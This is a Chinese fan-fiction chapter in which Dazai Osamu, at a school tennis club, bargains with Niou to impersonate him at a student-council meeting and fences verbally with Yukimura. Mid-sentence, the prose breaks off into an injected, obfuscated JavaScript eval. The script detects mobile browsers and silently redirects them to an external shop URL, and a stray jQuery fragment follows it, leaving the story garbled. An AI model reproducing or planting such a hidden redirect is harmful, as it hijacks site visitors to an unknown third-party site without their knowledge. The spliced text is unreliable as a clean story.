到了正式训练开始的时间,所有部员陆陆续续就位。丸井文太到的时候,正看到太宰治在进行发球练习,顿时惊奇万分。
“真是难得,居然见到你主动在训练了!”丸井文太寻过去,双眼弯了弯,勾起唇角调侃。他不断转换视角,看完左边看右边,大感新奇。
太宰治并不停止练习,坦然任由丸井文太观察。
看了一会儿,丸井文太忽然觉得有些不对劲,他挑起眉,狐疑道:“你是什么时候学会发球的?你不是说在家不碰网球的吗?”
“是啊。”太宰治将球轻轻抛起,身体转动,挥拍击球,“今天不是来的比较早吗,我到球场练的。真田君还教了我一些技巧呢。”
丸井文太不敢置信地重复:“你的意思是说,是真田教会你了?”
太宰治的思绪从先前的练习掠过,想到之前喝的味噌汤,点点头道:“他人真的很不错啊。”
“是啊……”丸井文太眼神游移,嘴角挂着毫无实意的微笑,脸色如同灰色雕像那样凝固了。
躲过了前辈,躲过了同班同学,丸井文太还以为教学任务已是他的囊中之物,怎料半路杀出个真田弦一郎。他身体微微后退,很快转过身,游魂似的朝更衣室飘了过去。
进入门内那刻,丸井文太与相向而行的仁王雅治余光交接,二人擦肩而过。
离开更衣室,仁王雅治四指并拢拇指内扣,手掌贴在眉边,扭着头四处观望,当视线落在太宰治身上,他眼前一亮,迈开脚步向其走去。
太宰治正弯腰侧身,从箱子里捡起一个球。
仁王雅治从对方背后探过身,凑到太宰治眼前,挥挥手,欢快道:“嗨,太宰君!关于双打的事,你考虑的怎么样了?”
太宰治掂了掂手里的球,小幅度地抛上抛下,露出思量的表情。
仁王雅治表情变得忐忑,他的心情不自禁跟随那颗球忽上忽下。
短暂的几秒钟变得无比漫长,在他将这两天发生的事全部在脑中过了一遍后,他终于听到了太宰治平静的声音。
“仁王君,你说你很擅长、也很喜欢模仿,对吧?”
太宰治没有向仁王雅治投来视线,仁王雅治却产生了被注视的错觉,他立刻应声,又忍不住别过脸。
一阵风吹来,拂乱了太宰治略长的发丝。他握住球,将球拍转移到握球的手,抬起空下来的手,将发丝别在耳后,同时侧过脸,看向仁王雅治。
“那你能不能扮成我的样子,替我开例会?”太宰治反手指向自己,微微歪着脑袋,唇角扬起。
“好…诶?”仁王雅治下意识答应下来,而后才反应过来对方说了什么,他愣愣地看向太宰治,“什么例会?”
太宰治伸出手,摆在仁王雅治眼前,仁王雅治下意识回握。
仁王雅治盯着自己的手,目光顺着手向上移,对上太宰治的视线。他挑起眉,谨慎道:“所以、这个意思是——你同意了?”
“是的。合作愉快。”太宰治眨了眨眼,“学生会每周三有一个例会。目前,外联部负责参加例会的代表是我。”
仁王雅治视线微微移开,努力思索话题是怎么从双打转移到学生会上的。他需要时间理清,现在究竟是他的计划成功了,还是他跳进太宰治挖的坑了。
正在这个时候,丸井文太从更衣室出来,抬眼便看到这样一幅画面。仁王雅治和太宰治背对着他,右手交握,脑袋凑的很近,言笑晏晏。
这副场景让丸井文太觉得眼熟,似乎昨天才看到过一次。
丸井文太快步上前,幽灵似的从两人中间的位置探出头来。他看向太宰治,目光幽深,问道:“你们又聊什么呢?”
“仁王君说他很擅长角色扮演,我不信,他就要扮演我去参加一次例会,证明自己。”太宰治眼都不眨一下。
丸井文太皱着眉,奇怪地瞥了眼仁王雅治。
这个说法,某种意义上来讲算是事实,但仁王雅治怎么听怎么别扭,被丸井文太用看怪人的眼神盯着,他更不好意思承认。他摸了摸脖子,没有讲话。
“好吧,那就这样说好了。”太宰治抽出手,握拳并举起,神情振奋,“仁王君,期待你的表现。”
仁王雅治含糊地“嗯”了一声。如果只是替太宰治参加一次例会,就能够完成自己的目标,他相信这是完全值得的。
看到仁王雅治这幅模样,丸井文太对那段话的真实程度也有了几分了解,大概率又是太宰治在瞎扯。但真实情况应该也不是不能告诉他的东西,估计是太宰治懒得跟他解释。
“那好吧。你们还要聊什么吗?要不我先离开一下?”丸井文太很没诚意地说。他的目光落在仁王雅治身上,脚步一动不动,丝毫没有离开的意思。
被丸井文太无声地催促着,仁王雅治打了声招呼,准备离开。
刚转过身,仁王雅治身体一顿,突然又折返回来。
“既然是证明自己,为什么不是在网球场上?”仁王雅治盯着太宰治,说出自己最渴求真相的问题。他想不通,太宰治让他代替对方参加例会究竟图什么,总不可能就是对方懒得去参加例会吧。
太宰治沉吟道:“嗯…那也可以啊。扮演真田君去跟幸村君打一场球赛的话,你觉得怎么样?这好像也挺有意思的,我可以帮你去跟幸村君他们商量一下。”
在仁王雅治眼里,真田弦一郎的不好惹是摆在明面上的,幸村精市则是更难缠的对象,如果可以,他尽量不想惹这两个人的麻烦,更别说一次招惹两个人。
“没关系,不用这么麻烦。就学生会吧,我不会露出破绽的。”仁王雅治果断放弃。
比起答案,自己的安逸更重要。仁王雅治转身就走,却迎面撞上了刚刚才被提到过的幸村精市。
幸村精市微微一笑:“看来在太宰君这里排队的人很多啊。现在加我一个,是不是不太方便呢?”
今天怎么有点倒霉。仁王雅治心中叹气,连忙说明情况,匆匆离开这个是非之地。
仁王雅治离开,幸村精市与太宰治各占一边,无言对视着。
对峙双方表面上都很淡定,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13368828|138525||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只有站在一旁的丸井文太困惑不已。
丸井文太左右看了看,发觉自己好像又有那么一点多余。他心中升起淡淡的愤慨,最终还是识趣地找借口离开,边走边琢磨,盘算着自己有没有正经点的事可以跟太宰治商议。
打发仁王雅治的时候,幸村精市姿态从容,真正对上太宰治似笑非笑的表情,他却有点心虚。
早上让真田弦一郎带早餐,幸村精市是经过慎重考虑的。
第一次的决定,往往伴随着强烈的决心,而一旦习惯形成,继续做这件事就变得自然而然。幸村精市很清楚,以太宰治展现出的个性,如果他帮太宰治带了这次早餐,之后就会被压榨到死。
虽然并不后悔这个决定,但取巧逃避对方一次尚且可以,现在同在网球部,放任不管会演变成什么情况,幸村精市也没底,问题还是要解决才行。
等了半分钟,不见幸村精市开口,太宰治右手拿回球拍,抛起手中的球,继续练习。
幸村精市观察着太宰治流畅的动作,心中升起一股惊喜感,又不可避免地回忆着早上的事。
片刻后,幸村精市下定决心,必须抢先跟对方解释。他沉了口气,缓缓开口:“太宰君,早上的事很抱歉。我今天家里有事,怕你等太久,只好让真田先替我带一份早餐……”
幸村精市准备的大段解释还没说完,便被太宰治打断了。
“没关系。”太宰治神情平静如水,没有因为幸村精市提到的事而起一丝波澜,似乎真的一点也不在意。
对于太宰治说的话,幸村精市一个字也不信。
像太宰治这样的人,一个被怀疑迟到是借口、都要找刑警来给自己拍视频证明的人,一定相当较真,无比记仇。
假如幸村精市把对方的话当真,就这么放过这茬,后面藏的坑肯定让他死无葬身之地。
没有分给幸村精市一丁点注意力,太宰治的目光聚焦在眼前的绿色小球上。他向上跃起,拍头从后下方迅猛地向前上方挥动。
球底部与拍弦摩擦,发出几不可闻的“嘶嘶”声,随即在空中划出一道高高的弧线,旋转的力量让球仿佛被无形的绳索牵引。
最终,球落地弹起,向前跃进,幸村精市的心似乎也随之一跳。
幸村精市瞳孔略微放大,眉心轻锁。他的呼吸变得清浅,警惕着潜在的威胁。
太宰治完成随挥,仍然没有将目光投给幸村精市,而是继续准备下一球。他以对方能够听到的声量说着:“不要这么紧张嘛。真的、我真的不在意了。”
对方越是这么说,幸村精市越是小心。以太宰治这个态度,无论他怎么追问,或许都无法得到他想要的答案。
在完成又一次击球后,太宰治突然停下来,以一种意味深长的眼神看向幸村精市,说道:“幸村君,其实这件事没有那么复杂。”
就在幸村精市想要追问时,太宰治却向前几步,捡球去了。
这极大地加深了幸村精市的不安,如果不能得到一个明确的答案,恐怕他今晚无法安稳入睡。